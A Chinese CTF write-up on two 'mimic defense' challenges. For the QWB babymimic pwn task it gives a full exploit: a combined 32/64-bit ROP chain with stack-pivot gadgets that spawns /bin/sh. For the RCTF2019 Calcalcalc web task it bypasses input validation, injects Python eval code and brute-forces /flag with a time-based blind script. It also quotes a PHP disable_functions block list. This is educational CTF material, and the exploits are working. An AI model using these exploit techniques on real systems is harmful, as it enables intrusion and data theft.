前言

拟态防御是什么,网上一搜就知道,在此不作详述了。想起一次见到拟态防御是在17年的工信部竞赛,当时知道肯定攻不破,连题目都没去打开。近期终于见到一些CTF比赛中出现拟态型的题目,题目不算太难,不过这种题型比较少见,特此记录一下。

pwn(强网杯 babymimic)

打开压缩包,发现竟然有两个二级制文件,先检查一下保护

[*] '/home/kira/pwn/qwb/_stkof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/kira/pwn/qwb/__stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

两个二进制文件,一个是32位,一个是64位,均为静态编译,漏洞也很明显,是一个简单粗暴的栈溢出。

伪代码如下:

int vul()
{
  char v1; // 32位[esp+Ch] [ebp-10Ch]  64位[rsp+0h] [rbp-110h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(&v1, 0, 256);
  read(0, &v1, 0x300);
  return puts(&v1);
}

因为这是一题拟态的pwn题,跟传统题型相比,加入了拟态的检查机制,大概原理是:题目会同时启动32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查。因此,我们要做的就是构造一个payload,输入到32位程序和64位程序的时候,确保输出流完全一致,也就是用一个payload在32位程序和64位程序都能getshell。

如果不是拟态机制,这道题直接用ROPgadget生成ropchain就可以getshell,分分钟就被秒了。

#!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9060) # @ .data
        p += pack('<I', 0x080a8af6) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9064) # @ .data + 4
        p += pack('<I', 0x080a8af6) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x08056040) # xor eax, eax ; ret
        p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080481c9) # pop ebx ; ret
        p += pack('<I', 0x080d9060) # @ .data
        p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x080d9060) # padding without overwrite ebx
        p += pack('<I', 0x0806e9cb) # pop edx ; ret
        p += pack('<I', 0x080d9068) # @ .data + 8
        p += pack('<I', 0x08056040) # xor eax, eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x0807be5a) # inc eax ; ret
        p += pack('<I', 0x080495a3) # int 0x80

但是,32位和64位的汇编码完全不同,函数调用方式也是不同,要如何构造一条payload同时在32位和64位程序getshell呢。出题人非常友好地留了一个漏洞点给我们,留意到32位程序的溢出长度是0x110,而64位程序的溢出长度是0x118,差了8字节,这就给了我们空间可以构造特殊payload。

思路是:填充完0x110字节后,32位程序会到达ret位置,可以寻找一些控制esp的gadget,跳过后面64位的ret到达ropchain,同理64位也能寻找这种gadget跳过32位的ropchain。使用ROPgadget查找可以控制sp的gadget,类似add sp, 0xc; ret,然后在payload中指定的位置放置ropchain。

非常幸运,找了两个大小合适的gadget,ROPgadget生成的ropchain注意需要修改一下,不然会导致输入过长,要控制payload的长度在0x300以内。

最后需要注意的是,vul函数结束时会调用puts,为保证输出相同,填充的垃圾数据要用\x00进行截断。

完整exp如下:

from struct import pack
# 32bit ropchain
rop32 = ''
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '/bin'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9064) # @ .data + 4
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += '//sh'
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
rop32 += pack('<I', 0x080481c9) # pop ebx ; ret
rop32 += pack('<I', 0x080d9060) # @ .data
rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx
rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret
rop32 += pack('<I', 0x080d9068) # @ .data + 8
rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret
rop32 += pack('<I', 0x080a8af6) # pop eax ; ret
rop32 += p32(0xb)
rop32 += pack('<I', 0x080495a3) # int 0x80

# 64bit ropchain
rop64 = ''
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += '/bin//sh'
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
rop64 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
rop64 += pack('<Q', 0x00000000006a10e0) # @ .data
rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
rop64 += p64(0x3b)
rop64 += pack('<Q', 0x0000000000461645) # syscall ; ret

# 32 gadget
add_esp = 0x080a8f69 # add esp, 0xc ; ret

# 64 gadget
add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret

payload = 'kira'.ljust(0x110,'\x00') + p64(add_esp) + p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64
p.sendlineafter('try to pwn it?\n',payload)
p.interactive()

web (RCTF2019 Calcalcalc)

题目来RCTF2019,是一个拟态的web题。

题目简单分析

前端是一个next.js的网站,只能输入0-9a-z,加减乘除,空格,括号,同时检查输入长度。
有3个后端决策器,分别是php、node和python执行表达式,3个决策器会对输入进行运算,只有当3个决策器返回的结果一致时,才会输出结果。

例如输入1+1,可以得到结果{"ret":"2"}

观察后台的记录,3个决策器均返回了{"ret":"2"}

frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Expression = "1+1"
frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Ret = [{"ret":"2"},{"ret":"2"},{"ret":"2"}]

输入eval(1+1),可以得到结果That's classified information. - Asahina Mikuru

观察后台的记录,决策器结果不一致,返回错误信息

frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Expression = "eval(1+1)"
frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Ret = [{"ret":"2"},"Request failed with status code 500","Request failed with status code 500"]

源码分析

首先分析前端的代码,题目进行计算时往/calculate post表达式,可以在 app.controller.ts中看到对应的代码,3个IP为后台决策器

@Post('/calculate')
  calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) {
    const serializedBson = bson.serialize(calculateModel);
    const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
    bluebird.map(urls, async (url) => {

fuzz的时候发现是有过滤的,表达式的输入过滤在expression.validator.ts,首先检查了输入长度,然后再检查输入内容,过滤大部分的命令执行需要用到的字符。

export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
   return (object: Object, propertyName: string) => {
        registerDecorator({
            name: 'ExpressionValidator',
            target: object.constructor,
            propertyName,
            constraints: [property],
            options: validationOptions,
            validator: {
                validate(value: any, args: ValidationArguments) {
                  const str = value ? value.toString() : '';
                  if (str.length === 0) {
                    return false;
                  }
                  if (!(args.object as CalculateModel).isVip) {
                    if (str.length >= args.constraints[0]) {
                      return false;
                    }
                  }
                  if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { 
                    return false;
                  }
                  return true;
                },
            },
        });
   };
}

默认参数在calculate.model.ts,默认输入最大长度为15,isVip默认是false

export default class CalculateModel {

  @IsNotEmpty()
  @ExpressionValidator(15, {
    message: 'Invalid input',
  })
  public readonly expression: string;

  @IsBoolean()
  public readonly isVip: boolean = false;
}

那么长度限制可以通过,修改发送数据的类型进行绕过。提交json参数,修改isViptrue,Content-Type修改为application/json,这样可以跳过长度判断的语句。

flag在根目录,下一步需要考虑的是如何进行命令注入,由于nodejs不太熟悉,先看一下php和python。

php的决策器主函数index.php

<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

linit.ini中限制了大量执行命令的函数,暂时想不到绕过的姿势

disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

再看一下python的决策器主函数app.py,也是使用eval进行计算

@app.route("/", methods=["POST"])
def calculate():
    data = request.get_data()
    expr = bson.BSON(data).decode()

    return bson.BSON.encode({
      "ret": str(eval(str(expr['expression'])))
    })

python可以用+进行字符串拼接,字符过滤可以用ascii编码绕过,绕过方法如下:

>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1
2

由于python的代码在php和nodejs中都是无法运行的,决策器的验证是不可能通过,因此不会有正常结果回显。虽然不会显示命令注入的回显,但是返回结果会等所有决策器返回运行结果后才发送响应包,因此可以使用时间盲注,逐字符进行爆破flag。

注入payload:__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1

决策器的返回结果,其中python决策器是第二个,从返回结果可以看到,可以使用布尔注入。

[Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"1"},"Request failed with status code 500"]    # False
[Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"None"},"Request failed with status code 500"] # True

简单编写暴力爆破exp,提高效率也可以使用二分法爆破。

# -*- coding:utf-8 -*-
import requests
import json
import string

header = {
"Content-Type":"application/json"}
url = "http://x.x.x.x:50004/calculate"

def foo(payload):
    return "+".join(["chr(%d)"%ord(x) for x in payload])

flag = ''
for i in range(20):
    for j in string.letters + string.digits + '{_}':
        exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)
        data = {
            "expression": "eval(" + foo(exp) + ")",
            "isVip":True
        }
        try:
            r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)
            #print r.elapsed
        except:
            flag += j
            print "[+] flag:",flag
            break

总结

拟态型的题目相信之后的比赛会更多的出现,这两题算是小试牛刀吧,期待之后比赛遇到的新题目。

点击收藏 | 0 关注 | 1
登录 后跟帖